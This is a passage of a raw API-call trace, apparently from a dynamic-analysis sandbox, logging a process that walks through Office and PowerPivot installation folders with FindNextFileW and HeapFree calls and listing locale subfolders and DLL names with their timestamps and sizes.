lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.171] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0288.173] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.173] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0288.176] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.176] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0288.178] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.178] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0288.181] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.181] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0288.183] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.183] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0288.186] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.186] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0288.188] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.188] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0288.192] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.192] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0288.195] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.195] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0288.197] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.197] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0288.200] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.200] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0288.202] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.202] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0288.205] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.205] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0288.233] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.233] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0288.235] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.235] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0288.237] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.237] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0288.240] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.240] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0288.242] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.542] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0288.544] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.544] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0288.546] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.546] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0288.548] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.548] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0288.551] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.551] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0288.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.553] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0288.556] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.556] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0288.558] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.558] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0288.563] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.563] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0288.565] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.565] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0288.566] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.567] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0288.679] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.679] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0288.682] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.682] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0288.684] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0288.684] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0288.685] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.685] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0288.685] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.685] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0288.685] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.685] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0288.685] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.685] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0288.685] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.685] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0288.686] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.686] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0288.686] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.686] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0288.686] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.686] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, 